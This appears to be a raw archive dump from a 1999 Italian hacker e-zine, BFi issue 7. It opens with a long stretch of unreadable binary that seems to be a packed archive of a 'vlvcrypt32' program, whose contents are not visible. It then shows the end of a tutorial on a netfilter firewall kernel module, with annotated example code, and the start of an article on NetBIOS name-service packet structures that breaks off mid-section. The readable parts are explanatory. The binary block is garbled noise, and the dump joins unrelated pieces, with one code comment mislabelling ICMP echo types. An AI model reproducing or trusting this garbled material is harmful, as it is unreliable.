p넻dA>V38`Cv'q:e3ߕ|iNKMyiMZL7ԥ$z9YĔ̦HUޝ'BD('F:O:ZK nګַnj[N5] -V"e FY JA9kgP|N@` nyE^^[`|q9 S)eiR3F-nZ6GW}im>7~:ճT^4ܺq?e2G^AT]1Gl XmulPKD'G7#vlvcrypt32.exe p\uǯd֮J3fVakC$n+Vl#`!#dҩCI-0ld N;%aVª 2 Xwa J*LZH^vW;j8;{j_uZXSa08}6a*:9V8=ۗו⑾td \כ[LƚL-nԔɾyM2 U zD^%+*/dnGDdڪHk۾ bc֜{}Y_]=]. ^9P>wkATM4UOf q;}1UK{s7DZ/P{U#O`+j7GZgdm$qou#4|Qeߐ& ,2.!k'9Z2L\L3i/ >:P+FP1@ eah8_ ne[}KkZVLd .Иɵu/_l. /sr7T|"{ oʹi V_B3 Ր|S f ole5kx%E'LY ψѠ)C`ΖK5MlweBȲW>Z{l"rH;XK@>)/=/˟|%-hiˋv}ˋw`SW]_>}N4O=g?uRpǨ aڸm';'/!=^VDe5m\&[xkRf)Ebd͵I)TOlÐA==jwז2-)ijOUhlp{Ze4kXy]@PFca2|'*nW'U}=cdxY5d=(d?=$.'q*l)BC{e/SEglܲbz+W:EӨtQU 'Ra'(C k$ۍ%Plu eWծqr_DcV |X%,0trUFX2EK묰\\wmgso:k\7Fۊ#h'&m2Dh#47K=K2{&^B+ Oξ[&W'l/qW՚VAX- db,}ކm:)ZrUJ<8oG!:QTG!п[:e6+X ܚh4ZF[@- Ѹbt;te/;/Ӥ=75YswfokΤe@"&GM&4oM__6ݽϯ_}k۳C:Ɔ.+Bv<}߁(8?Ņ}[~u߄\8gpu lhq+Pjõ\_u5kQ\/z.o\s[7o4mbnmw46^-;oUbLtO2N-:cWd}ξLwYhaS$\#P:yqؐ2T&Mu_&IHõ8h殔 m]ήC̭HEczvWM0k֞ (Jb[rl<%[k{|_/N3]=L;ue[s^g?e7+e<:{qvƒ]|̶xG䘺®m̭IV M[sͶyݒب}ׄ?X/a ](kA|Qޏ~_|?_v#ZLsMe?Ĺ1Yeƚ`y1*h Qa*|<B^Es %|zUyBVOGuh~Tkxy_ɇq@H}dhX,aT95yJ T{(tB{bF1!MxC ΖB|>fH ijK<7k7:7)u!g#6K:rMgs§:td,$auA{lt({wl*gtBsZʏh" J\L̒/9#ZOj{IT'GE7,p' wRG1יUR<uL(Ost;28s'&4: >Y1*`H4 T Ib3YX 4 aW*wELA<F x !g 8 ج: }E<+eF7:PO:Zg_]09C n0 !z«1c8/뜅d7\PCaS3Qs!^q ofUGF!vo]ͪJ!wkebZL׸B@Qͤs ~Fj1WFEB*u6"bdY9B3\9;rC\cg䧵OEm,K~@>,wcdb3$E7Γ8w&Z^O䌢4ᓩWS}+A1_Yhe$WT _@~JJLrn3%8a'CQuRNEq#!j|z49!wV40Ԥb3wE0:1BB/Q'*\MU `1@'AqXnJ UkRmf1* .'!bnQ(UKU`vqB8QA8!(7 '*CO.[@ʽ(GhRw(pX0@"fY)& by({p{  0C"0\SVMbnC(L)K(( 6TCB"1TǾS 愘14@ *N-{I+p6S( RQJMB\T'Ľ.DbY|*HX06XJ-)2Jhk U %nʪ'"TT*mrCA({`TA8;:RtPnޔ :RTJu*kRt^X DDSPJqF173R IM2ڎX* bB!+)ҌK`Aɓ'<2J*8[kG #˜dx0 #PR31@gX,%OT0bBP+8#S3)g A l)4PP'J#zbaUj|Y2o`|KqF$A0LմGK{S&%p1,GL78FZnP?C8iHF$i2wF#͌/fv|"V/uغw˝8iMOe0)`I?c3Iǹ ;q^ N˄ٓ@̬elGR-"êQ*{J1b2,g<ƌ r"cE)yZ_eޓ<δ R 1#>7=;>>~䲃/w `O{ #2G|>|o Ocǐfq/f҅`C5PAc;2 ٙ;OJ*UM.o޳umcCO+,ԃlHAd~A81 `XNPH$$!˓sig ]q\1."LOs:C=+~t2,4הXEr4g-(sx *!Ŵd)ɂPȬ0$CPvlB9\D$S744ant#dC:1? z5QZCك{U1AJ"X.#.וC0=C&jFbYŘ'}Gy # A0`sCjaCs2w+ɘt5Uzq]yX Qͯ=0 2?JG19dl,kb%_YcIDvs^/CJJWdi_OmwAA"5MEIO# ꢴB進Y%5C>udtQVG0᧊:"N}tsNM( ޹{@NF#NCg'Gҝ7*guGH8GmPȈ V#1U\8Ep5'~L' FI,92}+$)mnyKSp CS18D鋋¥0"iC!1_fe|UD@:)*pu C]/IB+&Y\~eXzaS!bWeivZ%f=RaNЮåaؖ#tʏ^VbCW^d NgāhcWu5By#S )2)xAlmAn,n0:%V,>ւsQNȼXm{]F",67$tX!/y(%S/RuaqjO'H80xZL|'7Xp2q  {6kND`+==oTH;i`u 8k;xqmPCT 4a gՖB@1eix^3A9n`KDW_ι$Cn!d:#5 U+c{g tE2 v^/-qhbUC;\LS҆2~/$*/FHeV8{Gpl莮;&#XBzgx?B2L. x!~g~r9E= .Չ }(EgLl6E؎=!vm#!mErm )!"eY)8LpD"MV䦈=#h=/< \8\drdYx}2m|%ցtwo҇0ְKf3-װ+^u`3,nغ>=B!=cf XG/c:}!~Jw& [66}p 9My#;:f}j16^ǖOoZFs}_Wet3rp\@ <Nz⁐w=φ_>ǫp|=gӞl W_st|mr w'xb/MҼh g-yM):T)DQݔhk}qPEʯlt;`YvmY=$^Uxݻlt؋t\a鶱-'QW&/~Pkmr+u@WuPWa؇iM@ RMbd! ~㰅um'v A)0q%Mm@Od^/h'9>)ڧ!hEB by;E4/w_[^IVq/2l3 %[TA7 )v>Qp,ʲ]-#yEkW>wSivQ$aHΗ}?K>9zA_ ZI8q6:,$S;y"= E^V.цQ~<ہ>P3dOtܢvQ_Z_߿Kƹ笢P%}s_ɇ,=y||wͿozϯM/T^J{Uճ˫7VǪU'_>^fէ?PW]=^=6PKVή תKjkkv՜Dmxj~V{R/kިj&Y5ךLgߊ/O)KJg/]X^t{җKoNNY5rY#F6lȞّ#r|McW*?U~\WY_PRQY|!"<#Œ/d0N vj^Tl[k XNa:"uM*~~kF[۴2ÉG ~a]wY~uG@\`ggQ{:nߦzt.ࣵ' de8~q#1PY oDmV|]+ߝ_[&n6ԹgfəIͤx'3L\RD2u^dz\J d`36RDqDY.~9힋SL&GGG*?$ Rb6Оae81^2Ÿ {&*Lհ}~kʂɄs-J$XРh7zu. e]9\zEte&e_ ďw/ď`tG/_qiZ(7ILxmppN{n=ip(Nz~0;@0#J L,˱*Nw?I,.B xG̯dbҩ8z2`*󛶭v|b}JÒ=}Clyt!·ʜְ@.$C C>BBgKg:#(rMP2׌++=,rDP\6[BXcxlXT@=r#;Ax /.Ky MD T/ڜ`S9EE&Q@|@|o$h'p[ E>_W*Ms5!aKHo8$1RMvF<2!9s:-u{]~88 ;8n_wN۽n(N' w"i^?fr?/Ѩ'³ zjvyjƭZvXO}"osE] ~N iiC"CLm-^vLϭ(EʀWAB6-ϩeb\$Wm'7#DIy9sc{nm@0D_UyrȪIr!jR;×3i>[9LUC9$4 LƩW*UP:QESjj>*Q4ln ٴ>Bݞ\ n @xk04t:/ (WWYB11acva C9#E#m ifID^C/l✛TMW*,AEIÅU!C[=Mooq'fqvWwkEu4hgNA@q~xi>t^LDU >;R=/v&G?:syשDxeKX[;0lX1{bEsvG8 5[Co}_$ hn>WL@caHmViQy,,ꋔFiXDe!ZئL abrk$5nE$ᙲ[ e T ė&Rz^sìPk~.5ɅJz+iUïOΦu),hCfcU:G+]Ȟʍb9AaT%:oϱol/vk/l8r :by`QH_G*/CgJ+_z"x\\˽gת*Kitm=i+I`V۝&.ݡ 4g OI9h/\ V18AU]3<.,RbWPsӪXjjVT qCk[;& oG X=;v*W:[T|P%oy j3X?Cy>&|W C]|ş7_Оb7@x]S%a̕$6xs0Q`gs:,Q;@kD>reO@H<5/2}};p8dBZ+'K\~{Vok{ :/g*>lʏk27SK=[ |y޾F[8uo/D&hj,R5EVs3{Z=lF"ǿs^u6m<g{B3⌕w&ż˨2T@ uۍ[P/c=h#A <\dD{#(r|_@=eOP\..|_<{{B<99<;;bԶGL-VЛ*䉏{ȽyDI]{CŞ%8fNuw M\[Ptz?/PƖ{TiڋU8DKNdǽN]笭 ߃ nج TzWiv 0S߽(o=~5C^sVeG%/֒ma o d6s`|>*uo}@A_-_k{JOlW|EGc8T>jPaS}C X:tz0SBޝz[AL$5dԽ>Z ςvriw9S<:cc}x)މjƟv=uPKm'bΨ#LI vlvcrypt32.asmPK0'1 xVLVCRYPT32.DEFPK2&v_  NVLVCRYPT32.RCPKh'ѤIe VLVCRYPT32.RESPK['YW t-icon.icoPKk'@l  .COMPILE.BATPK֣&"j6Z| |----------->| | |SAN CHECK | |PRE ROUTING| |__________| |___________| | C | ____|____ / \ D ___________ / EXT ROUTE \ ----------->| | \ / | LOCAL IN | \ ________ / |___________| ________ | / \ F | / IP FORW \ <----------->| E \ / | \ ________ / | _____|_____ G | | <----------|POST ROUTE | |___________| Cerchiamo ora di analizzare il flusso di un pacchetto tcp/ip all'interno di questa struttura. Il pacchetto arriva all'interno del netfilter tramite il punto A dove avviene un sanity check riguardante il fatto che sia troncato, il checksum sia invalido e che il pacchetto non provenga da un'interfaccia in modalita' promiscua (fate riferimento agli articoli di FuSyS sull'argomento). Se supera questi check arriva al primo hook attraverso il punto B. Qui viene eseguito il check sul pre routing ( NF_IP_PRE_ROUTING ), risultera' fondamentale quando si passera' ad un sistema NAT in cui il routing in ingresso puo' essere modificato a discrezione del sistema. Tramire il punto C si arriva all'external routing: questo non e' un hook, ma semplicemente viene stabilito se il pacchetto debba essere trattenuto o se il destinatario e' esterno al sistema e quindi si debba procedere al reinstradamento del pacchetto stesso. Se il pacchetto e' locale passa tramite il punto D ad un altro hook di local input ( NF_IP_LOCAL_IN ). Tramite questo hook e' possibile effettuare il vero e proprio filtraggio del pacchetto andando a controllare i singoli flag e le autorizzazioni. Se il pacchetto supera questo primo livello di filtraggio viene eseguito un check per determinare se debba essere passato su un'altra interfaccia del sistema: questo avviene attraversando F per arrivare all'hook ip forward ( NF_IP_FORWARD ). Il pacchetto era per questa interfaccia? Ok, allora sara' diretto tramite E ad un successivo hook denonominato post routing ( NF_IP_POST_ROUTING ). A questo punto il nostro pacchetto e' pronto ad uscire dal sistema. Da non dimenticare che esiste un ulteriore hook chiamato ip local out ( NF_IP_LOCAL_OUT ) e viene chiamato in causa quando un pacchetto e' generato dall'interno. Una volta analizzato il pacchetto ovviamente deve essere possibile informare il sistema sulle azioni da intraprendere e a questo scopo NetFilter mette a disposizione 4 possibili valori di ritorno, rispettivamente: NF_ACCEPT NF_DROP NF_STOLEN NF_QUEUE L'utilizzo di questi valori di ritorno non e' intuitivo: infatti, se si specifica NF_ACCEPT, il pacchetto passera' l'hook corrente e si indirizzera' verso il successivo, mentre la se la funzione restituisce NF_DROP il pacchetto e' semplicemente scartato dal kernel senza nessuna notifica. E' possibile tuttavia utilizzare NF_STOLEN per specificare che il pacchetto non e' stato scartato, semplicemente non deve proseguire verso i prossimi hook. Questo risulta estremamente utile nel caso in cui si voglia utilizzare il NAT/masquerading, infatti e' possibile modificarlo e reinstradarlo a piacere; lo stesso discorso vale nel caso in cui si voglia agire in modo personalizzato sul pacchetto stesso. L'utilizzo di NF_QUEUE e' estremamente particolare, infatti tramite netfilter e' possibile mettere in coda i pacchetti perche' poi siano esaminati in un secondo momento sia all'interno del kernel che in user land. Anche queste nuove caratteristiche lo rendono estremanente flessibile rispetto al sistema precendente. Chi ha gia' lavorato in passato con il kernel di linux e in particolare con lo stack tcp/ip avra' notato una certo caos dovuto alla scarsissima modularita' del masquerading: in questo nuovo sistema il tutto risulta indipendente. Ora entriamo nella parte calda ed andiamo ad analizzare in dettaglio come il tutto viene implementato nella realta' usando il codice scritto da antirez come cavia: 1: /* netfilter hooks example 2: * (C) 1999 by Salvatore Sanfilippo 3: * This code comes under GPL version 2 4: * see http://www.opensource.org/licenses/gpl-license.html 5: * for more information. 6: * 7: * Compile with: gcc -O -c -Wall nfexample.c 8: * (note that -O is needed) 9: * Insert this module using `insmod nfexample' 10: */ 11: #define __KERNEL__ 12: #define MODULE 13: #include 14: #include 15: #include 16: #include 17: #include 18: #include 19: #include 20: #include 21: #include 22: #include 23: #include 24: #include 25: #include 26: #include 27: #define PROC_BUFFER 4096 28: static ssize_t nfdemo_proc_read(struct file* file, char* buf, size_t count, loff_t *ppos); 29: static int info_read_proc(char* buf, char** start, off_t offs, int len); 30: static int last_read_proc(char* buf, char** start, off_t offs, int len); 31: struct nf_hook_ops input_filter; 32: struct nf_hook_ops output_filter; 33: struct proc_dir_entry *proc_nfdemo = NULL; 34: struct proc_dir_entry *proc_info = NULL; 35: struct proc_dir_entry *proc_last = NULL; 36: static rwlock_t last_lock = RW_LOCK_UNLOCKED; 37: static struct file_operations nfdemo_fops = 38: { 39: NULL, /* lseek */ 40: nfdemo_proc_read, /* read */ 41: NULL, /* write */ 42: NULL, /* readdir */ 43: NULL, /* select */ 44: NULL, /* ioctl */ 45: NULL, /* mmap */ 46: NULL, /* no special open code */ 47: NULL, /* flush */ 48: NULL, /* no special release code */ 49: NULL /* can't fsync */ 50: }; 51: static struct inode_operations nfdemo_inode = 52: { 53: &nfdemo_fops, 54: NULL, /* create */ 55: NULL, /* lookup */ 56: NULL, /* link */ 57: NULL, /* unlink */ 58: NULL, /* symlink */ 59: NULL, /* mkdir */ 60: NULL, /* rmdir */ 61: NULL, /* mknod */ 62: NULL, /* rename */ 63: NULL, /* readlink */ 64: NULL, /* follow_link */ 65: NULL, /* get_block */ 66: NULL, /* readpage */ 67: NULL, /* writepage */ 68: NULL, /* truncate */ 69: NULL, /* permission */ 70: NULL /* revalidate */ 71: }; 72: static int counter_input_dropped = 0; 73: static int counter_input_processed = 0; 74: static int counter_output_dropped = 0; 75: static int counter_output_processed = 0; 76: static char *last_packet_data = NULL; 77: /* input_handler is called when a packet hits specified hook point */ 78: unsigned int input_handler( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out) 79: { 80: struct iphdr *ip; 81: struct tcphdr *tcp; 82: int packet_size; 83: /* inc processed counter */ 84: counter_input_processed++; 85: /* IP filtering */ 86: /* as you can see the function receives a pointer to the 87: * struct sk_buff pointer, so it's possible to replace the 88: * sk_buff with another one. This can be used to rebuild 89: * from scratch the packet (the example don't use this) */ 90: ip = (*skb)->nh.iph; 91: /* save the packet -- for /proc/nfdemo/last */ 92: write_lock_bh(&last_lock); 93: if (last_packet_data != NULL) 94: kfree(last_packet_data); 95: packet_size = ntohs(ip->tot_len); 96: last_packet_data = kmalloc(packet_size, GFP_KERNEL); 97: if (last_packet_data) 98: memcpy(last_packet_data, ip, packet_size); 99: write_unlock_bh(&last_lock); 100: /* drop IP packets with options */ 101: if (ip->ihl != 5) 102: goto drop; 103: /* TCP filtering */ 104: if (ip->protocol != 6) 105: goto accepted; 106: tcp = (struct tcphdr*)((__u32 *)ip+ip->ihl); 107: /* TCP flags sanity check */ 108: /* drops Xmas || Ymax */ 109: if (tcp->res2 != 0) 110: goto drop; 111: /* drops SYN without ACK but with others flags set */ 112: if ((tcp->syn && !tcp->ack) && (tcp->fin || tcp->rst || tcp->psh || tcp->urg)) 113: goto drop; 114: /* drops SYN/ACK with RST and/or FIN set */ 115: if ((tcp->syn && tcp->ack) && (tcp->fin || tcp->rst)) 116: goto drop; 117: /* drops TCP packets with no-sense flags (or without flags set) */ 118: if (!tcp->fin && !tcp->syn && !tcp->rst && !tcp->ack) 119: goto drop; 120: accepted: 121: return NF_ACCEPT; 122: drop: 123: counter_input_dropped++; 124: return NF_DROP; 125: } 126: /* output_handler is called when a packet hits specified hook point */ 127: unsigned int output_handler( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out) 128: { 129: struct iphdr *ip; 130: struct tcphdr *tcp; 131: struct icmphdr *icmp; 132: /* inc processed counter */ 133: counter_output_processed++; 134: /* IP filtering */ 135: ip = (*skb)->nh.iph; 136: /* TCP filtering */ 137: if (ip->protocol != 6) 138: goto icmp_init; 139: tcp = (struct tcphdr*)((__u32 *)ip+ip->ihl); 140: icmp_init: 141: /* ICMP filtering */ 142: if (ip->protocol != 1) 143: goto accepted; 144: icmp = (struct icmphdr*)((__u32 *)ip+ip->ihl); 145: if (icmp->type == 0) /* icmp echo request */ 146: goto drop; 147: accepted: 148: return NF_ACCEPT; 149: drop: 150: counter_output_dropped++; 151: return NF_DROP; 152: } 153: int init_module(void) 154: { 155: int result; 156: /* input hook */ 157: input_filter.list.next = NULL; 158: input_filter.list.prev = NULL; 159: input_filter.hook = input_handler; 160: input_filter.flush = NULL; /* still unused */ 161: input_filter.pf = PF_INET; /* IPv4 */ 162: input_filter.hooknum = NF_IP_LOCAL_IN; 163: /* output hook */ 164: output_filter.list.next = NULL; 165: output_filter.list.prev = NULL; 166: output_filter.hook = output_handler; 167: output_filter.flush = NULL; /* still unused */ 168: output_filter.pf = PF_INET; /* IPv4 */ 169: output_filter.hooknum = NF_IP_LOCAL_OUT; 170: /* proc fs */ 171: proc_nfdemo = proc_mkdir("nfdemo", &proc_root); 172: if (!proc_nfdemo) 173: goto proc_failed; 174: proc_info = create_proc_entry("info", 00400, proc_nfdemo); 175: if (!proc_info) 176: goto proc_failed; 177: proc_info->ops = &nfdemo_inode; 178: proc_info->get_info = info_read_proc; 179: proc_last = create_proc_entry("last", 00400, proc_nfdemo); 180: if (!proc_last) 181: goto proc_failed; 182: proc_last->ops = &nfdemo_inode; 183: proc_last->get_info = last_read_proc; 184: /* hooks registration */ 185: result = nf_register_hook(&input_filter); 186: if (result) goto hook_failed; 187: result = nf_register_hook(&output_filter); 188: if (result) goto hook_failed; 189: /* OK */ 190: printk(KERN_INFO "demo netfilter module loaded\n"); 191: return 0; 192: proc_failed: 193: printk(KERN_INFO "nfdemo: error registering proc entry\n"); 194: return 1; /* error registering proc entry */ 195: hook_failed: 196: printk(KERN_INFO "nfdemo: error registering hook (%d)", result); 197: return result; /* error registering hooks */ 198: } 199: void cleanup_module(void) 200: { 201: /* unregister hooks */ 202: nf_unregister_hook(&input_filter); 203: nf_unregister_hook(&output_filter); 204: /* unregister proc fs entry */ 205: if (proc_last) 206: remove_proc_entry("last", proc_nfdemo); 207: if (proc_info) 208: remove_proc_entry("info", proc_nfdemo); 209: if (proc_nfdemo) 210: remove_proc_entry("nfdemo", &proc_root); 211: printk(KERN_INFO "demo netfilter module removed\n"); 212: } 213: /* this function handles /proc/nfdemo/info reading */ 214: static int info_read_proc(char* buf, char** start, off_t offs, int len) 215: { 216: return sprintf( buf, 217: "netfilter demo info:\n" 218: "INPUT:\n" 219: "processed datagrams: %d\n" 220: "dropped datagrams: %d\n" 221: "OUTPUT:\n" 222: "processed datagrams: %d\n" 223: "dropped datagrams: %d\n", 224: counter_input_processed, 225: counter_input_dropped, 226: counter_output_processed, 227: counter_output_dropped); 228: } 229: /* this function handles /proc/nfdemo/last reading */ 230: static int last_read_proc(char* buf, char** start, off_t offs, int len) 231: { 232: struct iphdr *ip; 233: int packet_size = 0; 234: read_lock(&last_lock); 235: if (last_packet_data) 236: { 237: ip = (struct iphdr*) last_packet_data; 238: packet_size = ntohs(ip->tot_len); 239: if (packet_size > PROC_BUFFER) 240: packet_size = PROC_BUFFER; 241: memcpy(buf, ip, packet_size); 242: } 243: read_unlock(&last_lock); 244: return packet_size; 245: } 246: /* nfdemo_proc_read() is derived from linux/net/wanrouter/wanproc.c of 247: linux 2.3.31. This function should be fixed since it can create some 248: inconguence trying to read from /proc/nfdemo/last calling read(2) more 249: than one time for packet but since this is just an example it's enought */ 250: #define min(x,y) xf_dentry->d_inode; 254: struct proc_dir_entry* dent; 255: char* page; 256: int pos, offs, len; 257: if (count <= 0) 258: return 0; 259: dent = inode->u.generic_ip; 260: if ((dent == NULL) || (dent->get_info == NULL)) 261: return 0; 262: page = kmalloc(PROC_BUFFER, GFP_KERNEL); 263: if (page == NULL) 264: return -ENOBUFS; 265: pos = dent->get_info(page, dent->data, 0, 0); 266: offs = file->f_pos; 267: if (offs < pos) 268: { 269: len = min(pos - offs, count); 270: if(copy_to_user(buf, (page + offs), len)) 271: return -EFAULT; 272: file->f_pos += len; 273: } 274: else 275: len = 0; 276: kfree(page); 277: return len; 278: } Analizziamo in dettaglio il codice per capire come si fa a costruirsi un mini firewall in modo abbastanza semplice. Partiamo dalla parte interessante cioe' il filtro diretto sugli hook ovvero la funzione di gestione dell'hook NF_IP_LOCAL_IN. Notate alla riga 78 che in input a questa funzione abbiamo la struttura skb del pacchetto in ingresso. Alla riga 90 andiamo ad estrarre da skb l'ip header del pacchetto per poterlo analizzare separatamente. Dalla riga 106 alla riga 119 viene eseguito un controllo TCP contro le normali vulnerabilita' come Xmas e Ymas, opzioni illegali e stati erronei. In questo esempio antirez ha usato i valori di ritorno predefiniti di netfilter senza modificare la struttura skb, quindi avremo due possibilita' NF_ACCEPT ed NF_DROP. Allo stesso modo alla riga 127 viene dichiarata la procedura di gestione dell'hook NF_IP_LOCAL_OUT. Come precedentemente viene estratto l'ip header ed analizzata la parte tcp, notate che alla riga 147 viene eseguito un check sul protocollo ICMP per evitare ping flood. Alla riga 153 viene inizializzato il module e vengono riempite due strutture, rispettivamente input_filter(157-162) ed output_filter(164-169). Notate in particolare le righe 162 e 169 dove viene dichiarato l'hook di riferimento e le righe 159 - 166 dove vengono rispettivamente dichiarate le funzioni di handling (gestione). Questo e' un esempio semplicissimo su come si possa realizzare un firewall sotto i futuri kernel. Con questo passo e chiudo ricordandovi di provare il SINUS Firewall, lo potete trovare all'url: http://www.sinusfirewall.org . Per qualunque domanda potete scrivermi a scacco@s0ftpj.org . ============================================================================== ---------------------------------[ EOF 6/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-07100777 1750 144 126563 7031215206 12016 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 6 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ NETBi0S NAME SERViCE - pIGpEN ^-----^ Can I Play |--0-0--| with pI66Y ? -/\/\/| (* *) |\/\/\> \ p / ----- CONSUMO: 3 lattine di cocacola (ho intenzione di andare in Belgio a prendermi quelle sequestrate ;) MUSiCA: l'unica musica che sento e' quella di un Alpha dietro di me e di un server HP che ho a lato :P SALUTi: ins4ne ---> sapevo che i three mile pilot ti sarebbero stati a genio piggy power plant ---> la piantina grassa vicino al mio monitor chi mi ha cercato all'hack meeting .... non c'ero mi dispiace ... APPELLO: pig di "bella" presenza, tosato, pulito e in grado di vivere in appartamento cerca teknosacerdotessa per preghierine di fine millennio .... okok scherzavo :D uhm ... non ci sono comete che passano in questo periodo ...? TESTi & SOURCE CONSiGLIATI (come giustamente richiesto da voi lettori): GENERALi: - rfc1002 - rfc883 UNiX: - sorgenti di nat10 o altra versione (trovabile pure in sscan.tgz) - An analysis of TCP/IP NetBIOS file-sharing protocols CIFS: Common Insecurities Fail Scrutiny WINDOWS: - Aristocratic Communication: NetBIOS Ruediger R. Asche Microsoft Developer Network Technology Group Per capire il name service del NetBIOS basta prendere come punto di riferimento questa rappresentazione tratta dall'rfc 1002, il resto sara' facilmente comprensibile tenendo questo a mente o su un foglietto o dove volete (fatevelo tattuare (si dice cosi :) su una coscia ... ) 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + ------ ------- + | HEADER | + ------ ------- + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION ENTRIES / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ANSWER RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / AUTHORITY RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ADDITIONAL RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Andremo ora a vedere cosa contengono le varie parti e a definire le strutture che le caratterizzano: - HEADER - 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NAME_TRN_ID | OPCODE | NM_FLAGS | RCODE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QDCOUNT | ANCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NSCOUNT | ARCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ NAME_TRN_ID E' l'identificatore o meglio il TRANSACTiON ID: ovviamente il suo scopo e' quello di identificare il pacchetto di richiesta da un altro e nella risposta questo valore deve essere replicato. OPCODE Identifica il tipo di pacchetto inteso come operazione da svolgere.. se proprio vogliamo :) Symbol Bit(s) Description OPCODE 1-4 Operation specifier: 0 = query 5 = registration 6 = release 7 = WACK 8 = refresh R 0 RESPONSE flag: if bit == 0 then request packet if bit == 1 then response packet. NM_FLAGS Flags da settare per il tipo di operazione: The NM_FLAGS field is defined as: 0 1 2 3 4 5 6 +---+---+---+---+---+---+---+ |AA |TC |RD |RA | 0 | 0 | B | +---+---+---+---+---+---+---+ Symbol Bit(s) Description B 6 Broadcast Flag. = 1: packet was broadcast or multicast = 0: unicast RA 3 Recursion Available Flag. Only valid in responses from a NetBIOS Name Server -- must be zero in all other responses. If one (1) then the NBNS supports recursive query, registration, and release. If zero (0) then the end-node must iterate for query and challenge for registration. RD 2 Recursion Desired Flag. May only be set on a request to a NetBIOS Name Server. The NBNS will copy its state into the response packet. If one (1) the NBNS will iterate on the query, registration, or release. TC 1 Truncation Flag. Set if this message was truncated because the datagram carrying it would be greater than 576 bytes in length. Use TCP to get the information from the NetBIOS Name Server. AA 0 Authoritative Answer flag. Must be zero (0) if R flag of OPCODE is zero (0). If R flag is one (1) then if AA is one (1) then the node responding is an authority for the domain name. End nodes responding to queries always set this bit in responses. RCODE Codici di risposta del pacchetto inviato (0 nel caso in cui non si sono verificati errori): RCODE field values: Symbol Value Description: FMT_ERR 0x1 Format Error. Request was invalidly formatted. SRV_ERR 0x2 Server failure. Problem with NBNS, cannot process name. IMP_ERR 0x4 Unsupported request error. Allowable only for challenging NBNS when gets an Update type registration request. RFS_ERR 0x5 Refused error. For policy reasons server will not register this name from this host. ACT_ERR 0x6 Active error. Name is owned by another node. CFT_ERR 0x7 Name in conflict error. A UNIQUE name is owned by more than one node. QDCOUNT Contiene: 0 se si tratta di una pacchetto di risposta; N = numero delle entrate nella "question entries" se e' un pacchetto di richiesta; ANCOUNT Contiene il numero di records della answer section del pacchetto (vedi primo disegnetto articolo, tratto dall'rfc 1002). NSCOUNT Contiene il numero di record di tipo authority del pacchetto. ARCOUNT Contiene il numero di record di tipo additional del pacchetto. Concretizzando otteniamo la struttura seguente: struct { int name_trn_id; int opcode; BOOL response; struct { BOOL bcast; BOOL recursion_available; BOOL recursion_desired; BOOL trunc; BOOL authoritative; } nm_flags; int rcode; int qdcount; int ancount; int nscount; int arcount; } header; Wow, l'header e' finito. Dobbiamo ora analizzare le QUESTION ENTRIES settate nell'header su QDCOUNT... sembra che tutto acquisti logica... :) QUESTION ENTRIES 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION_NAME / / / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QUESTION_TYPE | QUESTION_CLASS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ QUESTION_NAME Il nome compresso del NetBIOS name per la richiesta. Il metodo di compressione del nome e' probabilmente frutto di erba nel cervello... non essendo un drogato probabilmente non posso spiegarvelo :P (PS: Avete mai notato come molte volte le RFC non vengono cagate dai produttori ? :) Intanto tenetevi a mente questa struttura: struct nmb_name { char name[17]; char scope[64]; int name_type; }; Poi, per quanto riguarda il metodo di conversione, limitatevi ad usare la funzione e a capire che l'acido lisergico fa male! (PS: Ritornando ai tattuaggi fatevi tattuare questa funzione che tanto ricordarla non serve a niente perche' su nat la trovate in almeno due situazioni: le funzioni avranno nomi diversi, ma lo scopo e' lo stesso). QUESTION_TYPE Il tipo di richiesta: NB 0x0020 NetBIOS general Name Service Resource Record NBSTAT 0x0021 NetBIOS NODE STATUS Resource Record QUESTION_CLASS Definito 0x0001 : Symbol Value Description: IN 0x0001 Internet class Alla struttura ci arrivate da soli comunque eccola qui: struct{ struct nmb_name question_name; int question_type; int question_class; } question; RESOURCE 